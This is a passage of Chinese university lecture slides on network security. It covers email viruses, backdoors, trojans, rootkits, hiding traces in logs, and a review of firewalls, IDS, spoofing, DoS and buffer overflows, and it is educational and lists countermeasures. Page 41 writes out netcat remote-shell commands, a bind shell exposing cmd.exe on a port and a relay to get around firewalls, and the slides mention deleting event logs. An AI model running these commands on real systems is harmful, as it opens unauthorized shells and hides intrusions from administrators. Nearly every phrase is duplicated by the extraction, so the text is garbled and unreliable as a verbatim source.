段要注意编写正确的代码之外,对于用户而言,段要注意编写正确的代码之外,对于用户而言,一般的防范错误为一般的防范错误为– 关闭端口或服务。管理员应该知道自己的系统上安装关闭端口或服务。管理员应该知道自己的系统上安装

了什么,并且哪些服务正在运行了什么,并且哪些服务正在运行– 安装软件厂商的补丁安装软件厂商的补丁

• 漏洞一公布,大的厂商就会及时提供补丁漏洞一公布,大的厂商就会及时提供补丁– 在防火墙上过滤特殊的流量在防火墙上过滤特殊的流量

• 无法阻止内部人员的溢出攻击无法阻止内部人员的溢出攻击– 自己检查关键的服务程序,看看是否有可怕的漏洞自己检查关键的服务程序,看看是否有可怕的漏洞– 以所需要的最小权限运行软件以所需要的最小权限运行软件

Page 37: 网络与信息安全 网络安全  (五 )

其他的网络安全技术其他的网络安全技术• 除了用以前介绍的技术来攻入一个系统外,还有除了用以前介绍的技术来攻入一个系统外,还有

一条很重要的途径:病毒一条很重要的途径:病毒– 特别是邮件病毒,已经严重影响网络的安全特别是邮件病毒,已经严重影响网络的安全

•邮件病毒可以导致拒绝服务邮件病毒可以导致拒绝服务•邮件病毒可以导致泄漏敏感信息,包括隐私、商业机密等邮件病毒可以导致泄漏敏感信息,包括隐私、商业机密等•邮件病毒可以让你睡不踏实、不能专心做事邮件病毒可以让你睡不踏实、不能专心做事

• 从一个攻击过程来看,下面这些技术也比较重要从一个攻击过程来看,下面这些技术也比较重要– 后门技术后门技术– 隐藏痕迹隐藏痕迹

Page 38: 网络与信息安全 网络安全  (五 )

后门技术后门技术• 当攻击者一旦攻入一个系统之后,他的欲望开始膨胀当攻击者一旦攻入一个系统之后,他的欲望开始膨胀

– 保留访问权,甚至权限升级:如果他没有管理员权限,期望得保留访问权,甚至权限升级:如果他没有管理员权限,期望得到管理员权限,或者设法得到管理员口令到管理员权限,或者设法得到管理员口令

– 他能满足于这一次的进入吗?下次怎么进来?设置一个后门,他能满足于这一次的进入吗?下次怎么进来?设置一个后门,下次可以轻松进入下次可以轻松进入

– 摧毁系统…摧毁系统…• 后门技术后门技术

– 后门是指攻击者再次进入网络或者系统而不被发现的通道。也后门是指攻击者再次进入网络或者系统而不被发现的通道。也就是说,攻击者可以隐蔽地进入系统而不用花费很多功夫的通就是说,攻击者可以隐蔽地进入系统而不用花费很多功夫的通道。道。

– 后门技术是系统相关的后门技术是系统相关的• 关联技术关联技术 : : 特络伊木马特络伊木马 ((Trojan)Trojan)

Page 39: 网络与信息安全 网络安全  (五 )

木马技术木马技术• 木马程序往往包含两个部分木马程序往往包含两个部分

– 外壳程序:公开的,谁都可以看得到。往往具有足够的吸引力,使外壳程序:公开的,谁都可以看得到。往往具有足够的吸引力,使人下载或拷贝,并运行人下载或拷贝,并运行

– 内核程序:隐藏在外壳程序之后,可以做各种对系统造成破坏的事内核程序:隐藏在外壳程序之后,可以做各种对系统造成破坏的事情,比如情,比如• 发动攻击、破坏设备发动攻击、破坏设备• 安装后门安装后门

– 通过通过 InternetInternet传播是极好的途径传播是极好的途径• 如何防止如何防止

– 不要轻易相信别人发送的程序不要轻易相信别人发送的程序– 不要轻易打开来路不明的程序或者内嵌脚本的文档不要轻易打开来路不明的程序或者内嵌脚本的文档– 在网络上发布和下载文件,留意文件的在网络上发布和下载文件,留意文件的 MD5MD5 码码– 用防病毒软件来检测或过滤已经发现的木马用防病毒软件来检测或过滤已经发现的木马

Page 40: 网络与信息安全 网络安全  (五 )

UNIXUNIX 或或 LinuxLinux 下的后门技术下的后门技术• 在被攻击的机器上打开一个端口,进行监听,这样的在被攻击的机器上打开一个端口,进行监听,这样的工具比如工具比如 netcatnetcat– 然后等待远程连接然后等待远程连接

• rootkitrootkit– 文件类型的文件类型的 rootkitrootkit ,,修改一些常用的命令文件,比如修改一些常用的命令文件,比如

login, ls, who, netstatlogin, ls, who, netstat等等– 内核中的内核中的 rootkitrootkit ,,内核中的后门——内核中的后门—— knarkknark

• 预防措施预防措施– 一些检测软件一些检测软件 ((tripwire)tripwire) 可以检测出被修改的文件可以检测出被修改的文件– 基于内核的基于内核的 IDSIDS 系统,可以对内核系统,可以对内核 rootkitrootkit报警报警

• 应急处理应急处理– 哪些命令该信任,哪些不该信任哪些命令该信任,哪些不该信任

Page 41: 网络与信息安全 网络安全  (五 )

WindowsWindows 下的后门技术下的后门技术• 远程执行后门程序远程执行后门程序

– 如果只有远程访问权限,则可以通过如果只有远程访问权限,则可以通过 schedule schedule serviceservice 和和 atat命令启动远程机器上的程序命令启动远程机器上的程序

– 或者修改远程机器注册表的启动程序表项或者修改远程机器注册表的启动程序表项• netcatnetcat 也有也有 WindowsWindows 的版本的版本

– 在被攻击的机器上开一个端口,然后等待连接在被攻击的机器上开一个端口,然后等待连接– 可以利用可以利用 netcatnetcat 把一个把一个 cmd.execmd.exe 进程进程 ((shell)shell) 的输入的输入输出与输出与 netcatnetcat端口联系起来,例如端口联系起来,例如nc –L –d –e cmd.exe –p 8080nc –L –d –e cmd.exe –p 8080

– 也可以利用端口重定向,以绕过防火墙也可以利用端口重定向,以绕过防火墙nc target.ip 80 | cmd.exe | nc target.ip 25nc target.ip 80 | cmd.exe | nc target.ip 25

Page 42: 网络与信息安全 网络安全  (五 )

WindowsWindows 下的后门技术下的后门技术 ((续续 ))

• 其他后门程序其他后门程序– ““客户客户 //服务器”模式服务器”模式– netbusnetbus– Back OrificeBack Orifice– …………

• 对策对策– 隐藏和检测技术的较量隐藏和检测技术的较量– 检查注册表中的启动表项检查注册表中的启动表项– 用用 netstatnetstat 显示端口信息显示端口信息

Page 43: 网络与信息安全 网络安全  (五 )

隐藏痕迹隐藏痕迹• 动机动机

– 你希望自己被管理员发现吗?你希望自己被管理员发现吗?– 消灭罪证消灭罪证

• 安全基本原则:记录下所有必要的活动情况安全基本原则:记录下所有必要的活动情况• 隐藏痕迹技术是系统相关的,但是,基本的原则是一致隐藏痕迹技术是系统相关的,但是,基本的原则是一致

的的• 隐藏痕迹的类型隐藏痕迹的类型

– 日志文件日志文件– 文件信息文件信息– 其他系统信息,例如,磁盘空间的显著变化其他系统信息,例如,磁盘空间的显著变化– 网络通讯流量网络通讯流量

Page 44: 网络与信息安全 网络安全  (五 )

LinuxLinux 的日志文件的日志文件• 日志文件的控制日志文件的控制

– 首先要打开日志记录功能首先要打开日志记录功能– 其次要经常检查日志文件中的内容其次要经常检查日志文件中的内容

• /var/log/wtmp/var/log/wtmp :用户登录历史:用户登录历史/var/run/utmp/var/run/utmp :当前用户登录日志。:当前用户登录日志。每条记录包括登录类型、登录进程的每条记录包括登录类型、登录进程的 pidpid 、、 ttytty 设备名、用户设备名、用户 idid、用、用户名、远程登录的主机名、退出状态、会话户名、远程登录的主机名、退出状态、会话 idid、时间、远程主机的、时间、远程主机的 ipip地址地址

• 用用 utmpdumputmpdump 可以查看上面两个日志文件的内容可以查看上面两个日志文件的内容• /var/log/messages/var/log/messages :内核消息日志,文本文件,可以直:内核消息日志,文本文件,可以直接输出。其中,系统启动、退出,用户接输出。其中,系统启动、退出,用户 susu命令的成功和失命令的成功和失败、败、 ipchainsipchains 丢弃或拒收数据包等消息都记录在此文件中丢弃或拒收数据包等消息都记录在此文件中

• var/log/pacctvar/log/pacct :进程审计日志。:进程审计日志。 pacctpacct记录系统中运行记录系统中运行过的所有进程的信息。可以用过的所有进程的信息。可以用 dump-acctdump-acct 来查看内容。来查看内容。

• ……还有其他一些日志文件,位于还有其他一些日志文件,位于 var/logvar/log目录下目录下

Page 45: 网络与信息安全 网络安全  (五 )

Windows NT/2000Windows NT/2000 日志文件日志文件• 日志文件日志文件

– 三个日志文件三个日志文件• Sysevent.evtSysevent.evt• Secevent.evtSecevent.evt• Appevent.evtAppevent.evt

– 三个缓冲区文件三个缓冲区文件• System.logSystem.log• Security.logSecurity.log• Application.logApplication.log

• 事件浏览器事件浏览器 (Event Viewer)(Event Viewer) 可以查看日志文件可以查看日志文件• 要在要在 NTNT 上直接通过这些文件来消除痕迹并不很容易上直接通过这些文件来消除痕迹并不很容易• 如果攻击者有管理员权限的话,可以直接用事件浏览器删如果攻击者有管理员权限的话,可以直接用事件浏览器删除记录除记录

Page 46: 网络与信息安全 网络安全  (五 )

保护保护 Linux/WindowsLinux/Windows 日志文件的日志文件的原则原则•对日志文件设置正确的权限对日志文件设置正确的权限•对日志文件要经常备份对日志文件要经常备份• 使用一次性可写的设备使用一次性可写的设备•加密日志文件加密日志文件•定时查看日志文件以尽早发现异常定时查看日志文件以尽早发现异常

Page 47: 网络与信息安全 网络安全  (五 )

文件信息的变化文件信息的变化

•对于系统关键文件加以保护,以便能够识对于系统关键文件加以保护,以便能够识别出文件的变化情况。文件的修改时间、别出文件的变化情况。文件的修改时间、长度信息,以及文件的指纹长度信息,以及文件的指纹– 攻击者总是试图掩盖这样的变化攻击者总是试图掩盖这样的变化– 预防:用工具来记录文件的完整性信息预防:用工具来记录文件的完整性信息

•新增文件新增文件– 被攻击者上传的一些文件,占用磁盘空间被攻击者上传的一些文件,占用磁盘空间

• 用扫描病毒的工具定期检查磁盘用扫描病毒的工具定期检查磁盘

Page 48: 网络与信息安全 网络安全  (五 )

复习:网络安全:防火墙复习:网络安全:防火墙• 防火墙防火墙 ((Firewall)Firewall)

– 对于一个网络来说,防火墙把所有的流量分成“内”对于一个网络来说,防火墙把所有的流量分成“内”和“外”和“外”

– 通过一些安全策略,来保证只有经过授权的流量才可通过一些安全策略,来保证只有经过授权的流量才可以通过防火墙以通过防火墙

• 防火墙的类型防火墙的类型– 包过滤路由器包过滤路由器– 应用层网关应用层网关– 电路层网关电路层网关

• 防火墙的部署防火墙的部署

Page 49: 网络与信息安全 网络安全  (五 )

复习:网络安全:网络监听复习:网络安全:网络监听

• 原理:在共享式网络上,处于混杂模式下的网卡原理:在共享式网络上,处于混杂模式下的网卡可以监听到所有流经的数据包可以监听到所有流经的数据包

• 网络流量监听技术网络流量监听技术– UNIXUNIX 系统提供了标准的系统提供了标准的 APIAPI支持支持

• Packet socketPacket socket• BPFBPF

– WindowsWindows 平台上通过驱动程序来获取数据包平台上通过驱动程序来获取数据包•驱动程序驱动程序• WinPcapWinPcap

• 介绍了介绍了 libpcaplibpcap 、、 WinPcapWinPcap 、、 LibnetLibnet

Page 50: 网络与信息安全 网络安全  (五 )

复习:网络安全:入侵检测系统复习:网络安全:入侵检测系统 (IDS)(IDS)• 入侵检测系统的实现过程入侵检测系统的实现过程

– 信息收集信息收集– 信息分析信息分析

• 入侵检测系统分类入侵检测系统分类– 基于主机、网络、内核、应用基于主机、网络、内核、应用

• 入侵检测系统用到的一些技术入侵检测系统用到的一些技术– 异常检测异常检测– 误用检测误用检测

• 实用的实用的 IDS: snortIDS: snort• 入侵检测系统的研究和发展入侵检测系统的研究和发展

– 神经网络在神经网络在 IDSIDS 中的研究与应用中的研究与应用– STATSTAT :用有限状态机来表示入侵过程:用有限状态机来表示入侵过程

Page 51: 网络与信息安全 网络安全  (五 )

复习:网络安全:信息收集复习:网络安全:信息收集

• DNSDNS 收集信息收集信息– DNS & nslookupDNS & nslookup

• Ping & traceroutePing & traceroute

•端口扫描端口扫描– 暴露网络上潜在的脆弱性暴露网络上潜在的脆弱性

• 操作系统辨识操作系统辨识– 为系统相关的攻击打好基础为系统相关的攻击打好基础

Page 52: 网络与信息安全 网络安全  (五 )

复习:网络安全:欺骗技术复习:网络安全:欺骗技术• IPIP 欺骗欺骗

– 假冒他人的假冒他人的 IPIP地址发送信息地址发送信息•邮件欺骗邮件欺骗

– 假冒他人的假冒他人的 emailemail地址发送信息地址发送信息• WebWeb欺骗欺骗

– 应用层上的欺骗手段。针对应用层上的欺骗手段。针对WebWeb 的运行规则的运行规则• TCPTCP 会话劫持会话劫持

– 弄清楚弄清楚 TCPTCP 会话的状态会话的状态

Page 53: 网络与信息安全 网络安全  (五 )

复习:网络安全:拒绝服务复习:网络安全:拒绝服务• 拒绝服务拒绝服务 (Denial of Service)(Denial of Service) :针对可用性:针对可用性• 关于关于 DoSDoS :通过某些手段使得目标系统或者网络:通过某些手段使得目标系统或者网络

不能提供正常的服务不能提供正常的服务– 技术和原理都非常简单,并且已经工具化技术和原理都非常简单,并且已经工具化– 难以防范难以防范

• 一些典型一些典型 DoSDoS 攻击攻击– Ping of DeathPing of Death– TeardropTeardrop– Syn floodSyn flood– SmurfSmurf

• 一些工具以及防范措施一些工具以及防范措施

Page 54: 网络与信息安全 网络安全  (五 )

复习:网络安全:缓冲区溢出复习:网络安全:缓冲区溢出

• Buffer OverflowsBuffer Overflows– 原理原理– LinuxLinux 下的下的 Buffer OverflowsBuffer Overflows– WindowsWindows 下的下的 Buffer OverflowsBuffer Overflows

•如何编写如何编写 shellcodeshellcode

• 防范措施防范措施

Page 55: 网络与信息安全 网络安全  (五 )

参考资料参考资料• 书书

““ Hackers Beware”Hackers Beware” ,,中文版《黑客——攻击透析与防范》,电子中文版《黑客——攻击透析与防范》,电子工业出版社工业出版社

““ 黑客大曝光”黑客大曝光” (( 第二版第二版 )) ,清华出版社,清华出版社• 文章文章

– A Buffer Overflow Study Attacks & Defenses, A Buffer Overflow Study Attacks & Defenses, http://http://www.enseirb.fr/~glaume/bof/report.html#pmowww.enseirb.fr/~glaume/bof/report.html#pmo

– Smashing The Stack For Fun And ProfitSmashing The Stack For Fun And Profit, , http://destroy.net/machines/security/P49-14-Aleph-Onehttp://destroy.net/machines/security/P49-14-Aleph-One

– The Tao of Windows Buffer Overflow, The Tao of Windows Buffer Overflow, http://www.cultdeadcow.com/cDc_files/cDc-351/index.htmlhttp://www.cultdeadcow.com/cDc_files/cDc-351/index.html

– Win32 Buffer Overflows,Win32 Buffer Overflows, http://www.subterrain.net/~jbl/overflow-papers/P55-15http://www.subterrain.net/~jbl/overflow-papers/P55-15

• WebWeb站点站点– http://destroy.net/machines/security/http://destroy.net/machines/security/